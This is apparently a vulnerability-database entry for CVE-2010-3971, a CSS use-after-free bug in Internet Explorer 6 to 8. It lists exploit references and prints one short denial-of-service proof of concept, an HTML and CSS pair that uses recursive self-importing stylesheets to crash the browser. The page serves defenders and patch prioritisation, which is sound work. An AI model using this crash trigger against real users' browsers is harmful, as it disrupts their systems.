CVE-2010-3971

critical
Published 2010-12-22 Β· Modified 2026-04-29
CVSS v3
β€”
CVSS v4 NEW
β€”
not yet in upstream
VIR risk
10.0

Description

Use-after-free vulnerability in the CSharedStyleSheet::Notify function in the Cascading Style Sheets (CSS) parser in mshtml.dll, as used in Microsoft Internet Explorer 6 through 8 and other products, allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via a self-referential @import rule in a stylesheet, aka "CSS Memory Corruption Vulnerability."

Predictions

Exploit likelihood
20%
Patch ETA
β€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or β€” if you've already worked around this in production β€” publish your fix to the community-verified tier.

✚ Propose a mitigation on Community β†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-16533 remote windows verified
Metasploit Β· 2011-02-08

Microsoft Internet Explorer - CSS Recursive Import Use-After-Free (MS11-003) (Metasploit)

Source code queued for fetch β€” refresh in a moment.
EDB-15746 remote windows verified
Nephi Johnson Β· 2010-12-15

Microsoft Internet Explorer 8 - CSS Parser

Source code queued for fetch β€” refresh in a moment.
EDB-15708 dos windows verified text Β· 1 KB
WooYun Β· 2010-12-08

Microsoft Internet Explorer 8 - CSS Parser Denial of Service

text exploit Source: Exploit-DB
<code>
<div style="position: absolute; top: -999px;left: -999px;">
<link href="css.css" rel="stylesheet" type="text/css" />
</code>

<code of css.css>
*{
 color:red;
}
@import url("css.css");
@import url("css.css");
@import url("css.css");
@import url("css.css");
</code>


Exploit-DB Notes:
* Original credit goes to an unidentified researcher using WooYun anonymous account "θ·―δΊΊη”²".
WooYun is a connection platform for vendors and security researchers:
http://www.wooyun.org/bugs/wooyun-2010-0885

* Dec 22, 2010 - Microsoft releases security advisory for this vulnerability:
http://www.microsoft.com/technet/security/advisory/2488013.mspx

Metasploit modules

MS11-003 Microsoft Internet Explorer CSS Recursive Import Use After Free
Source fetch failed: fetch_error β€” view the original via the link above.

Application impact

VendorProductVersionsFixed
windows microsoftinternet_explorer7
windows microsoftinternet_explorer8

References

CWEs

CWE-399

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.